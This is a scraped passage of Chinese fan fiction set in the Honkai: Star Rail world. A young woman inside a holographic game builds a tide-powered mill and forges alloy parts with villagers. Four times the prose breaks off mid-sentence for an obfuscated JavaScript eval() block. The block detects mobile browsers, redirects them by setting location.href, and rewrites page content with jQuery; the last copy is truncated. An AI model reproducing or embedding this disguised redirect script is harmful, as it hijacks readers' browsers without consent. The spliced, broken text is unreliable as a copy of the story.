想要利用潮汐作为动力,首先得选个水文稳定且易于建造设施的临海之地。这地方不能乱选,既要足够靠近海面又要确保这地方的水流变化易于捕捉。一会儿一变的乱流难以琢磨,过远的距离会使工程难度呈几何级增长,附近的岩壁的朝向则决定了要修建一个什么样的木屋保护那些刚被磨出来的面粉。 你打算和卡厄斯兰那从他家门口开始徒步绕着海边向北行走,绕行哀丽秘榭一周寻找合适开工的地点。当然了,不可能是真正意义上的“一周”,哀丽秘榭越向西北部地势就越高,遍布着茂密的森林,那里更适合野生动物生活,建造磨坊的事想都不要想。 “早上那会儿来了艘海船停下补给,买走许多蔬菜和酸奶。爸爸妈妈他们肯定会用节省下来的时间去翻地好赶在天气冷下来前多种一茬菜,说不定过几天还能遇上这样的好事……” 白发少年哒哒哒哒说个没完,倒也不怎么吵,主要是这人声音好听。 “前面有个峡湾,落潮的时候大家都喜欢去那儿捡拾一些搁浅的海货。不过礁石的棱角很锋利哦,稍不小心就会被划破脚踝。” 峡湾内礁石太多,水流不规律且变化过快,不适合营建生产设施。 “……上次我捡到许多被海水冲上岸的海藻,能吃是能吃就是味道太糟糕了,像用舌头直接舔鱼鳞那样,腥到怀疑人生。” 地势升高的趋势非常明显,你决定转头往回走。阳光越来越热,卡厄斯兰那走到前面又拐回你身边:“已经是正午了,休息一下吗?喝些水吃点东西。” “快看完了,不如看完再说。”你觉得还好,不需要补充水分也不需要摄取糖分,“……如果你走不动,那我们就停下坐一会儿。” 卡厄斯兰那瞪大他的蓝眼睛,像是喘不过气儿那样往后仰了仰脑袋:“哈?” “嗯?”你朝一边歪过去,对方反手一掌拍在自己脸上:“没什么,我是怕你晒久了头晕,有不舒服的地方只管说,别那么客气。” 泰坦在上!她,她怎么会得出这样的结论。 少年捂住眼睛转开视线,忍不住又要撇着眼角再多看最后一眼。她已经直起身子继续朝前走了,步伐坚定,简直像个奔赴战场的士兵。 “……” 沿着哀丽秘榭能直接接触到水面的海岸线走了大半天,最后你选中了一开始卡厄斯兰那独坐钓鱼的码头。这地方靠右手边的位置上有棵高大挺拔的树木,秋千小木桌以及防腐木铺出的平台说明这里是转为某人建造的小小游乐园。你无意毁掉他人心爱之物,于是便指指左边,与右侧相对应的位置也有棵大树,地势更加平坦,土层相对干燥。 “需要坚固耐磨的石块,最好是花岗岩,喷发过的火山附近能够轻易找到。足够的硬质木材,金属矿石……”你大概算出个数字,再换算成本地人能听懂的单位,“完整的石块无论如何不能省,金属矿石和硬质木材也一样,不过建造木屋的材料嘛,从我那间破屋子上直接拆也未尝不可。” 主要是那屋子实在破的可怜,修它比新建一栋木屋花费的精力还大,不如做个人情,也算主动刷一下好感度。 这游戏不提供任何与提高好感度有关的辅助,你只能摸索着来。 兄长每次结束驻防回家都会给大嫂带许多礼物……许多、许多,多到能把半个院子淹没的程度。大嫂说她想要一个能泡海水浴的浴缸,第二天家里就多了个持明专用的冷水浴室。所以想要提高好感度首先不能小气,小气的人不配拥有伴侣。 嗯,应该是这样没错。 “啊?”卡厄斯兰那露出难以置信的表情,“你,你不要那栋房子啦?” 对于村人来说最重要的资产除了耕地莫过于那间能遮风挡雨的屋子。村子本就无法将现有的田地分配给她,这也是村长忒理斯大叔痛快同意修建磨坊的主要原因之一,那间房子破旧归破旧修修补补也还能住,说拆就拆……看她表情不像是在开玩笑,日子不过了? “我可以直接住在磨坊里不是吗,隔太远不方便。”你给自己找了个说得过去的理由,低头踢开脚边石子,又看着它骨碌碌滚进水潭。 卡厄斯兰那狐疑的盯着你:“真的不是搬来时被什么人威胁过么,被欺负了可一定要说呀。” 此刻你们正坐在防腐木搭建的小平台上,那只提篮摆在木桌中央,苹果、葡萄以及石榴散在桌面上。白发少年正在把石榴籽从赤红色的皮里一粒一粒剥出来,很快你面前就多了一小堆宝石样的籽粒,散发着澄粉色的光。 “没有的事,每一个人对我都很友善。”你看看那堆石榴籽,又看看卡厄斯兰那跃跃欲试的眼神,犹豫片刻后随手捏起几粒塞进嘴里。 酸甜可口,果香浓郁。 “好吃吧?慢慢吃。”他高高兴兴把拳头大小的两半石榴掰成四份,晶莹的籽粒叮叮当当落下来好些,“我可是很擅长剥石榴的,你看,没有一颗石榴籽受伤。” 这家伙还挺骄傲,你默默吃石榴,他埋头一个劲儿的剥,很快十个指头就被染黄了六个。 “我吃不完这么多,”你把面前的石榴籽推回去一大半,把石榴皮剔得干干净净的卡厄斯兰那抓起一把“嗷呜”塞进嘴:“下回改成榨汁,粉色的、甜甜的,据说很多年轻姑娘都喜欢。” 粉色甜果汁在你眼里并没有什么特别之处,宿舍冰箱里满满当当收集着全宇宙各个角落最有名的罐装发酵饮料,甚至可以从早到晚不重样的一直喝。 “谢谢。”你又捏了粒石榴籽塞进嘴里,反复心算需要用到的物料,力求将投入控制在不会吓到小村居民的水准。 “没事啦,等会儿我就去找忒理斯大叔,把需要用到的材料还有你的意思转告给他……”他停了一会儿,把脸转到一边,曲起手指不停地在脸颊上抠来抠去,“其实你完全可以一直住在我家,距 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17012797|192839||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离近还省事。” 哀丽秘榭午后金色的阳光透过树梢洒在他身上,随着树影摇曳变得斑驳。 “唔……”你捂紧双眼低下头。 刻意淡忘的记忆重新翻涌,某个瞬间你差点幻视大片大片的血泼溅在这爽朗少年身上。 “怎么了?”卡厄斯兰那闪现似的从座位上闪到你面前,金色染在他的蓝眼睛上,星星点点的金色边沿活像只有日食发生时才能看到的日冕。 不是红色,不是血。 你在心底反复告诉自己,慢慢放平呼吸,然后松开手:“没什么,只是突然偶发的眩晕,不要紧。” 分不清楚这是游戏情节还是自己的问题,你选择给出一个可操作的模糊答案。 白发少年蹲在你面前担忧的仰着头:“赫柏,你要不要和我一起离开哀丽秘榭?先去神悟树庭好吗,那里的学者一定能找到治好你的办法……” 他大概是那种天生就保护欲爆棚的类型,只要被其认定为自己人就能得到全力以赴的回应。 “我说了,没关系的,卡厄斯兰那。”你觉得胸口莫名有些堵,像吃了不合适的食物那样吐不出来咽不下去。 扬高的音量截断他没说完的话,你抬起头直视他漂亮的蓝眼睛:“人类是可以与疾病共存的,你该先去完成只属于你的事。比如说,你究竟为了什么才打算离开哀丽秘榭。” 可以是好奇,可以是求知,可以是任何理由,唯独“为了某人”,这应该是排在最后面的选项才对。 你依旧不喜欢和人贴得太近,但是现在的选项并不多,只能推着卡厄斯兰那的肩膀拉开你们之间的距离:“对不起,我的意思是,你该更重视自己的需要。” 如果不是为了完成社会实践得到那份该死的证明材料,你绝绝对对不可能和一个刚认识的异性说这么多话,更别提把手放在人肩膀上。 “我状态不好,不是真的冲你发脾气。”没什么用的加了这么一句,你十分沮丧——好感度只怕已经掉得不能看了。 卡厄斯兰那蹲在你面前,被推了一把后重心不稳坐在地上。白发少年半张着嘴傻乎乎的看着你,片刻之后他把脑袋侧开,你听到了从细微到洪亮的笑声。 “噗,哈哈哈哈哈哈哈哈,赫柏!”年轻人脸颊有点红,湛蓝的眼睛湿漉漉的,就像你在罗浮灵囿里见过的鹿,“你怎么能这么可爱?” “说这些目的就是担心我吧,你现在的样子看上去就像一只把脑袋塞进翅膀里的天鹅。”卡厄斯兰那斟酌着选了个不那么尖刻当然也不怎么招人嫌的比喻,赫柏刚才的样子更像是受到了什么刺激。 脚掌里嵌了根木刺的兔子总会变得敏感又暴躁,说不来为什么就要用后脚奋力踢腾地面。 这也许和她曾经遭遇过黑潮有关,他不会故意去戳别人藏在心底的伤疤,但愿时间能将那块痛苦的砂砾慢慢包裹成一枚光彩夺目的珍珠。 18.第 18 章 从海边回到木屋,昔涟正抱着她的书站在树下和奥妲塔说话,听到脚步声转过身,朝走来的两人露出微笑。 “赫柏,卡厄斯兰那,你们终于回来了。” 走在前面的白发少年朝她挥挥手,笑容灿烂:“嗯嗯,回来了,事情办得很顺利。” 奥妲塔立刻笑开:“那太好了,我这就去把饼烤上,咱们今天提前开饭。” 她从儿子手里接过重量减半的提篮,目光看向留在最后面的年轻姑娘:“累了吧?快坐一会儿。” “还好,谢谢您。”异邦来的少女嘴角微微向上挑了一下,知道她不爱说话也不爱笑,没人会把这个放在心上。奥妲塔提着篮子朝厨房去:“谢什么,别这么客气。” 说完她又回到儿子那里关心了他好几句,许诺晚上一定有大餐可吃。 你不知道父母双全是种什么感觉,罗浮雄厚的技术积累与丹鼎司的妙手仁心让你从一枚细胞团的形态苟活下来,躺在充当人造子宫的治疗舱里直至身体发育成熟才被兄长赶来接回家。很长一段时间你误把他和大嫂当做双亲看待,直到某天学宫讲师讲到持明这个种族……那天你是一路哭着被大哥抱回家的。 “我还要出去找忒理斯大叔一趟,赫柏身体不好不能晒那么久太阳,就让她在家里好好休息吧。”卡厄斯兰那接过母亲递来的水一通痛饮,放下杯子往外跑。 “欸……”奥妲塔话还没说完就看到儿子像一阵风似的跑了个没影,她无奈的摇摇头,招呼两个女孩喝水吃水果,又额外关怀了赫柏几句才拉开厨房门走进去。 傍晚前卡厄斯兰那从外面走回来,一进院子就大声喊着要吃饭。 坐在树下的两个姑娘一个托腮一个撑着胳膊,中间摆了张黑白相间的棋盘。 “下棋吗?你们还真有闲情逸致,”他顺手拖来一张矮凳坐下,旁观这场棋盘上的无声厮杀,三分钟后捂着嘴巴频频眨眼:“妈妈,还不能开饭么?” 就,有点困。 “你可以再撤一步,”赫柏平静的看着昔涟,后者脸上透出股绞尽脑汁后的空白感:“不了不了,我还是去厨房看看能不能帮点忙。” 让一步让两步让三步……有什么意义?没有!横竖都是输,各种花样的输。 她摇摇晃晃起身朝卡厄斯兰那家的厨房方向看去,奥妲塔透过窗户向外喊:“先吃饭先吃饭,屋子里乱,别进来了。” 她把手里的面胚塞进烤炉,不忘回头招呼一个劲儿喊饿的儿子:“快坐呀。” 二十分钟后,卡厄斯兰那家的大餐终于端上了桌。 晚饭是一些烤饼和烤肉,新鲜蔬菜外加发酵麦酒。你从没咀嚼过如此粗糙的肉,未经阉割味道也……它更像是猎人在森林里随机抓到的野生动物,很难给予正面评价。 但这已经是奥妲塔能拿出来的最好的食物了,你安安静静把碗里的东西塞进嘴巴,面无表情。 还好烤肉已经提前按人头分开切片码在盘子里,总共也没有超过十五片,不至于吃到让人丧失求生欲。奥妲塔恨不得一顿就能把你和昔涟喂胖,殷勤的不停询问要不要添些饼和蔬菜。希洛尼摩斯时刻注意着客人们的酒杯,力图不要让它们空着。 葡萄酿制的低度甜酒老幼皆宜,经过发酵它比没有烧开的水还干净,在翁法罗斯是一种颇受欢迎的日常饮料。不得不说葡萄酒中自带的酸涩与芳香有效遮掩部分肉类的不妙气味,该怎么说呢,好歹是口肉。 最近一年多以来你再也没一次性吃下去过这么多东西,尤其是肉类,幸亏身在全息游戏,不然这会儿怕是已经扶着洗脸池大吐特吐去了。 “谢谢,真的,真的吃不下了!”你很担心自己会忍不住吐出来,不仅浪费食物也辜负别人好意。 “可你吃得太少了呀。”奥妲塔的声音有些颤抖,这孩子看上去并不强壮,以她使出的力气作为衡量标准,摄取这点食物简直是打算饿死自己。 提出去的野餐篮子回来时还剩了一半食物没碰,翻开一看两个孩子在外面跑了大半天居然只吃了些水果?正常二十来岁的年轻人应该饭后吃这个量当零食。 旁边伸过来一只手:“我吃我吃,妈妈我没吃饱。” 卡厄斯兰那笑嘻嘻的朝你挤挤眼睛,飞快摸走厚实的烤饼。 “你这家伙!”奥妲塔抬起手要拍他,少年缩起脖子弓起背,把肉最厚的地方亮出来方便母亲下手。 昔涟也悄悄帮你分担走一块食物,你感激的看着她,耳边是卡厄斯兰那被奥妲塔拍得啪啪作响的动静。 “你更喜欢甜食对吗?”少女的眼睛里满是柔和的光,“下回我们换着吃。” 其实你并非严格意义上的甜党,此刻却鬼使神差的点头:“嗯。” 今天这顿晚饭吃得早,天还没黑昔涟就起身告别。她过来的目的就是为了告诉卡厄斯兰那今天皮西厄斯老师上课都讲了什么,免得几天后重返课堂的倒霉蛋一问三不知。他又不像赫柏那样根本无需在学校久留,话说赫柏明明根本就不需要哀丽秘榭乡村学校的教育,为什么还非要坐在教室里打瞌睡? 好奇怪。 接下来的几天你一直在为积攒建造磨坊的材料奔走,村人们在农忙中挤出有限的时间弄来符合要求的石块和矿石,铁匠开炉冶炼,你则带着卡厄斯兰那以及其他几个年长的老者将那栋村长分配的破旧木屋拆了个干干净净。为了表示弥补,忒理斯大叔许诺等到磨坊建好会发动大家帮你在房前屋后开些菜地自用——本来农业就是很受时效限制的行当,收获季节分出精力做别的实在困难,你愿意把自己的房子贡献出来好让大家节省时间,老村长很是感动。 第一天,你和村子里的年轻人蹲在长辈们身边仔细钻研那两个磨盘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17014846|192839||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该如何规整,还好找到的石块足够多,几锤子下去后你摸清楚了工具与石材之间分别能承受多大冲击。 拿不准力道也是没有办法的事,就比如景元将军手里那把伪装成阵刀模样的石火梦身,实际重量一万三千五百斤。嗯……他并非天人族强者的上限,不过这个数值应该已经很有说服力了。 你虽然不是云骑也没想过应征入伍的事儿,但家中几乎代代人人都在军中效力,天生力气就比普通天人还要更大些。在家里感受不怎么直观,出了罗浮才晓得外面有多脆弱,刚进第一真理大学时一不小心就弄坏东西的情况几乎记不清次数。 所以说你之前真的没打算一掌拍死口技专家斯科特先生啊。 第二天,村民们比着你在地面上画好的线条按部就班挖土施工,两座石磨连同底座拼接成功,还没连上硬木摇杆就已经有人忍不住自己亲手推了一圈。 一座石磨凿痕略粗,专门用来将谷物干燥粗糙的外壳褪掉。另一座石磨则精细得多,褪过壳的麦粒从隔壁直接滑入下料口,略有些发灰但足够细腻的面粉扑簌簌落在人们掌心。 等磨坊彻底竣工后石磨就能利用潮汐的能量自动旋转,原理是听不懂的,不耽误大家围着它们双眼放光。 “赫柏,赫克托尔叔叔那里出了点问题……”昔涟负责跑腿传话,跑了一上午,粉红色的头发被细汗黏在颈侧,看上去既狼狈又兴奋。 能让乡邻们节省大把力气,她也很开心。 你松开手里充当垫材调节高度的石头,向旁边的大叔交代了几句,站起身拍拍手走到她面前:“需要我去看看是吗?好的。” 褪壳磨和出粉磨之间有一个高度差,中间由打磨抛光的竹筒连接。这样做除了可以节省中间搬运谷粒的环节外还可以提高磨坊效率。你的设计理念就是原材料塞进去,成品掉出来,尽量节省人工。所以这个高度差非常重要,太高下料速度太快后面的工序来不及完成,溢出的谷粒洒在地上很浪费不说又是花费力气的活计;太低下料太慢磨盘空转,效率低磨损高,用不了几年磨盘容易坏。这其中的度完全可以交给有经验的农人把握,你只需要把原理讲清楚,让他们明白要做什么就行。 “是的,零件很坚固但韧性不太好,扭几下就断掉了。”昔涟皱了下漂亮的眉毛,“赫克托耳叔叔说他从来没有干过这种充满矛盾的活儿,希望你能帮忙想点法子。” 金属构件是能让石磨自动转起来的关键结构,现在摇杆和水车叶片都已经初具雏形了,只要这个零件就位,动作快些明天搭建其他结构的时候就能同时拼装完毕。 “知道了,”你转身告诉热火朝天干活儿的村人去向,大家纷纷举起手回应:“别着急,这边的事儿就交给我们吧,保证不耽误。” 那当然必须不能耽误,磨坊建起来后方便的是哀丽秘榭每一户所有人。 19.第 19 章 “赫克托尔叔叔,我把赫柏找来了。”昔涟大声提醒光着上身不断敲打铁块的铁匠,叮叮当当的锤锻声中热气不断从锻造炉里喷涌而出。 赫克托尔是个健壮但并不高挑的中年人,脂肪包裹着肌肉,或许不大好看但绝对实用。 “小昔涟你们回来了啊,刚才打出的胚子不行,我把它重新回炉了。”他停下手里的动作,“眼下能想到的法子就是多次淬火重锻,唉……” “多次”意味着耗时,大量耗时。这东西打出来是要装在硬木上的,不仅要承受天长日久的拉扯弯折,还得经受海水与温度的考验。 “该怎么做?”一靠近锻造炉你就觉得脸上皮肤发干发紧烫得慌,炉子里的温度远超你的想象。整个翁法罗斯事件簿的虚拟世界中科技树就像被封锁那样淳朴原始,唯有冶锻……至少这个温度远超哀丽秘榭所表现出的技术水平。这大概是设计师给予的唯一例外,不然又是天灾又是末日的,故事完全没办法往下讲。 铁匠把他的锤子亮出来:“还能怎么做,敲呗!” 反正他知道的法子就只有这一种,不停的淬火,敲打,甚至是重锻,以近乎折磨的方式千锤百炼直至除尽所有杂质。 如此简单粗暴的冶锻方式哪怕工造司的博物馆档案馆里也很难见到相关展示,托学宫山长的福,所有入学的孩子在苦读之外随时随地可以申请参观方便寻找自己未来愿意从事的职业,你也不例外。印刷在书本上的知识对你而言相当于阅读材料,其实绝大部分求学的时间都花在了一府八司的游览活动中,那些一时找不到用武之地的冷知识在今天终于派上热用场。 “嗯。”你上前拎起备用铁锤试了试手感。 飘轻飘轻的。 外套在铁匠铺里并不实用,还好系统在外套下给玩家准备了一套焊死在身上的内衣——游戏设计师要么年龄很大要么出身庇尔波因特文化影响下的保守星系,不然不会选择这种古旧款式,你脱掉外套,身上还有件贴身的细带背心。 “小心哦,砸到手烫到脚可不能哭。”磨坊里有两座石磨,同样的金属构件自然也得两份,赫克托尔叔叔笑着提醒,从那漫不经心的眼神可以看出他并不看好你。 也是,哪怕到了星际时代短生种之间也偶有因性别而出现的歧视。长生种就不会这样了,据说景元将军的师父,冠绝天下的无罅飞光女士能把他吊起来打……谁会因为她是个女人而心生轻视,饭吃得太饱了吗? 你若有所思的一锤下去,铁锭变成了铁饼,铁匠铺内格外安静。 “……”放下锤子拿起那枚略有些不可名状的金属饼掰开检查断口,你摇摇头,“材料不行,还有其他矿石吗?” 单一金属材料确实难以做到面面俱到,谁能想到玩个游戏还得从矿石开始打造工具。 “都,都在仓库里,你随便挑。”赫克托尔叔叔咬在牙间的草梗掉进冶锻炉,“噗”的一声冒出股白烟。 “好的。”你按照他指的方向找到铁匠铺仓库,绞尽脑汁判断每一种矿石应对的矿物,以及它们能够起到的作用。 稀里哗啦翻了一个多小时,你和昔涟满载而归。卡厄斯兰那从海面过来传话,看到你眼下的形象先是瞪大眼睛紧接着刻意的转动身体一卡一卡的冲着柱子发出声音:“石磨经过各种尝试确认可以投入使用了,你让我们裁切的木料也都妥当……” “哦,不着急拼装曲柄和摇杆。地面上有线,你让大家先按照白色直线段挖槽建房,临海的那一面空出来 。”你若无其事的走过去,拉开冶锻炉将选好的矿石统统倒入其中:“单一金属的性能无法达到要求,得弄些合金试试。” 这是句解释,但卡厄斯兰那还是冲着柱子说话:“知道了,我这就去通知,等会儿再过来给你们送饭。” 他跑得像是背后有狗呲着牙在追,你摇摇头,蹲下身抄起风箱猛压。 已经砸碎的矿石很快就在炉中发生变化,你知道这是游戏加成,真实场景哪能这么轻易就得到想要的效果。化成液体的矿石们混在一处,各自放出不同的光芒。赫克托尔叔叔凑过来帮忙,导入模具槽的金属液迅速冷却,铁匠铺内蒸腾起白色水雾。 呲……咚! 你照着他刚才的样子一手长柄铁钳一手铁锤,放轻力道敲击。铁匠看着这边问题不大,转过身去融化另一批矿石。昔涟像条粉色小尾巴一直跟着你,这会儿你看到赫克托尔走去另一边,压低声音偷偷对她道:“昨天你不是说起欧洛尼斯的祭司手里都有一把仪式剑吗?想要什么样子的,我给你锤一个出来。” 肯定不会有什么神异的现象啦,不过拿在手里玩儿绝对没问题,哪个浪漫的女孩儿不想在手里拿把美少女变身器之类的权杖? “好啊好啊,”昔涟眯起眼睛小小声的笑:“我想要一把太阳和月亮交叠在一起的剑。” 你抬头看看天空,目前只有太阳高悬,月亮尚未出现。 “如果你希望它能起到有效杀伤的话我会把剑刃部分多处理几次,”不理解但尊重,你觉得剑这种东西打出来如果不能砍人纯属浪费感情,“除了造型还有其他要求吗?” “没有了哦。”昔涟好奇的看着你的手:“不烫吗?” 事实上是有点烫的,不过你觉得还好。 开工开工。 叮叮咚咚的敲击声中,经历过反复淬火的零件初具雏形。赫克托尔叔叔完全把锻造间让出来,独自在旁边慢慢敲打一些斧头铁锹铁镐之类的农具平复心情。 其他农人之做半天就要回家收拾田地,只有你一直忙到夜幕降临。卡厄斯兰那中途往返了好几趟,有时候送些食物有时候又送些水。根据体力变化你真实察觉到时间流逝的感觉,但制造物品的成就感对你更有吸引力,无论食物还是水都被下意识屏蔽掉,直到面前摆放着几样物品。 两组零件, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17014847|192839||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一把仪式剑的粗胚,还有些大大小小的边角料。 零件是给磨坊用的,已经完工,仪式剑还需要打磨,剩下的边角料回炉揉吧揉吧还能再敲几个齿轮出来。 “嗯……嗯?这就打好了吗?”昔涟揉揉眼睛,规律稳定的敲击声极富催眠效果,她撑着胳膊离开桌面,凑到你身边仔细观察,“它们看上去可真漂亮。” 充满机械文明的气息,另类美感也是美感。 “因为足够使用。”谁也别指望你说些感性的漂亮话,在你看来打造出能满足需求的成果才是成功的劳动,不算瞎忙活。 她笑着把你的新手外套递过来,你伸出双手放在眼前看看,摇头:“帮我放在肩膀上搭着吧,谢谢。” “呀,你受伤了?” 黑乎乎的掌心遍布燎泡,你惊讶的发现自己居然被烫伤了,更加惊讶地是此前完全没有意识到。 “没事,放着不用管,最迟明早痊愈。”你无所谓的放下手,低头看看打算去舀些冷却水冲洗。虽说可以放着不管,洗手还是要洗的,不然摸哪儿哪儿黑。 “别啊,那是冷却水!”昔涟拽着你身上仅剩的那条吊带背心阻止了你的行动:“我去给你提桶干净水来。” 说着她向外走去,和匆匆赶来的卡厄斯兰那碰个对头。 “提什么水?我来提就是了,太晚了我来接你们,哇!你怎么还没把衣服穿回去?”白发少年原地转了一圈,这会儿他还没进屋呢,周围没有柱子,只好仰头望天:“晚上冷,我的衣服给你披上。” 这家伙七手八脚脱衣服的功夫你叹了口气随手在冷却池里洗干净手,拿下搭在肩头的衣服套好:“谢谢,但我不冷。” 脱衣服脱到一半的卡厄斯兰那像个突然被卡住的木质兵人,姿态古怪滑稽的同时神情格外沮丧:“好,好吧。” 你带上零件、剑胚和边角料都留在工作台上,敲响赫克托尔叔叔自闭的屋门告诉他今天的锻造暂告一个段落。 “后天我还会过来,那些剩下的金属还有用。” 你隔着门道别,铁匠发出哽咽的声音:“再见!” “木屋已经搭好了,一边是你的房间,另一边是磨坊,后面还有个仓库。”回过神来的白毛说起工期格外高兴:“就算不能自动运转也很好用,我试过,除了原地转圈走快会有点晕外一切完美。” 你:“……” 这怎么还有牛马主动往缰绳里钻的? 昔涟笑得满脸通红,肩头不停抽搐。 “嗯?”比比划划说到兴头上的卡厄斯兰那停下动作,狐疑的看向她:“你笑什么?赫柏都没笑。” “那大概是无奈吧,亲爱的白厄,哀丽秘榭的英雄,伟大的农场主,蜜饼杀手,鳟鱼的保护者……”她笑到呼吸困难,“你简直像个倔强的蜣螂。” 你:“……” 有个人在旁边代为说话实在是太好了。 20.第 20 章 经过两天半紧张密集的劳动,矗立在海边的简易小磨坊开张大吉。头一个尝试用自动磨盘磨面粉的正是奥妲塔,她家离得近,收割的麦粒也晒得很到火候,浅黄色的麸皮从第一台石磨的“导流槽”落入口袋,旁边灰白色的面粉簌簌落了一盆。 赫柏选择的石料有硬度且耐磨,不小心吃到大小石子沙粒的可能相当之低。 “哇!”围观的村人睁大双眼,兴奋慢慢灌注在每个人脸上。 这东西是开放使用的,磨出来的精粮三十去一作为报酬,不得不说相当划算。只有真正看到才能明白它对生活水平的提升有多高,不仅节省力气,也节省牙齿和肠胃。 欢呼声中你用挑剔的目光上下打量面前的木屋,它和卡厄斯兰那的家模样大小差不多,区别只在于木材新的新旧的旧,颇有拼接风格。一般房屋都是磨坊,没有门板的门框敞开着,屋檐和另外两个方向的墙壁保证风雨不至于直接打在磨盘上。临海的那一面只有一半墙体,硬木从这儿穿出去,连接着固定在海水中的波轮叶片。 不想让磨盘转动时只需要将摇杆和曲柄分开,看着简陋的木质机械,你认为它应该还能开发出更多新用途。 比如……洗衣服切东西。 点燃枯草能为人类带来火,至于在那之后人类用火都做了什么别管也别问。 当天下午前来磨麦粉的村民就排出一条长长的队伍,先是奥妲塔端着两盆颜色不一的粉状物离开,紧接着后面的主妇们很快就意识到粗加工后的稻壳粉完全可以拌上卖相不好的菜叶碎拿去饲养动物,于是跟着妈妈(姐姐)来看热闹的小家伙们被使唤得满村乱窜。 其实这玩意儿人要是饿极了也一样能吃下去,不过哀丽秘榭这几年风调雨顺,大家用不着这么为难自己。 “先别急着搬家,”卡厄斯兰那弯下腰在你耳边轻声道:“刚建好的屋子里还是空的呢,得等木匠大叔腾出手。” 农忙季节并未结束,村民们匀出了两天半的时间建造磨坊,接下来总要抓紧一些。 你的视线追踪着鬼鬼祟祟混在人群里围观曲柄旋转的赫克托尔叔叔,倒也不耽误和站在旁边的人交流:“要等很久?” 木匠家里也种地呢,不然光靠着帮人打家具修家具干点儿木工活根本吃不饱。 “就这么着急想从我家搬出去?”卡厄斯兰那的声音听上去可怜兮兮的,你下意识跟了一句:“看了新小说?” “……”白发少年哭笑不得的反省自己究竟给人留了个什么奇怪印象,喜欢浪漫故事的分明是昔涟好吧。 刚说完就意识到表达有误的你把视线移到海面上,找理由弥补:“我的意思是,你刚才说话的方式与平时风格大相径庭,鉴于环境没有发生重大改变,猜测为模仿。” “啪” 少年用手掌蒙住眼睛:“赫柏,虽然你每一个字都没有用错,但是我们人类通常不这么说话。” 你看了他一眼:“是吗?” “我只是在和你开玩笑,并不想听你回一个恐怖故事。”卡厄斯兰那揉揉脸,他真的很高,你在这个角度仰头能看到棱角分明的下颌线,“好的,我知道了,不过我也在开玩笑。” 更可怕了好吗?有种石雕突然活过来挥手打招呼的错觉。 排在磨坊门外磨粮食的队伍越来越短,其他来看热闹的村民在见识过科技与机械的力量后心满意足回家做饭。差不多正午时分磨坊外就没什么人了,你走进去将充作报酬的精细面粉收好,装在袋子里交给卡厄斯兰那。 “给我这个干嘛?”他明显愣了一下,你开口解释:“预计我还要在你家吃一到两周饭,这是饭钱。” 除了这些你身无分文,总不能天天就这么空着两只爪子在别人家蹭吃蹭住吧,凭什么。 卡厄斯兰那马上就把那袋面粉塞回给你,就像有什么张嘴就咬的虫子生活在口袋上。 “只是几顿饭而已,赫柏你算这么清楚是讨厌我吗?”爱笑的人收敛起笑容总会比经常板着脸的人更显严肃。当卡厄斯兰那冷气脸垂下眼睛时你发现他原来只是气质亲切,并非相貌亲和。 有点彦卿扒拉景元将军那只白猫脑门儿时的感觉。 “当然不是,”你在心底为那恐怕已经跌穿底线的好感值叹息,事情就是这样,当你越用力想要达成某种效果时事实总会背道而驰,说不定不想那么多反而数值还能高些,“我怎么会讨厌你呢?就因为打定主意要继续在你家吃饭才拿粮食给你,你要是不收我以后也不好意思再去了。” 想出这两句话几乎耗尽你浑身上下所有情绪细胞,如果面前这家伙还不领情就只能试试别的偏门儿手段——种地辛苦得要死,反正你是不好意思白吃白喝。 卡厄斯兰那推拒的手顿了一下,你成功发力将袋子重新塞回他怀里:“就这样,听我的。” “哦,哦哦,”他局促的一手抱着面粉一手抓抓后脑勺再抓抓脖子,然后抓衣服,“那什么,眼看没人了,回家不?” 那就回呗,辛苦这么多天,你也想放松一下。 啧,玩个游戏居然玩出了上班的感觉,这也太奇怪了吧。 在卡厄斯兰那家吃过午饭和水果后你回到卧室躺在床上,怀着“终于下班了”的心情脱出游戏。 游戏舱外,天还没亮。 数据流的世界里忙忙碌碌好几天,外面也只过了四十八个行星时。经过这段时间的发酵,你精准投递出的那封举报信终于发挥作用。个人光脑的终端传来突发事件提醒,赫斯托教授“因故”缺席接下来几个月的课程,相关专业的授课将由维里塔斯·拉帝奥教授代为处理。 好消息,干掉了想要借你论文一用的烦人家伙。坏消息,来了个真材实料的教授,结课论文的小买卖大抵是不能做了。如果你只打算拿个本科毕业证就回老家那当然无所谓,但要是想申 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 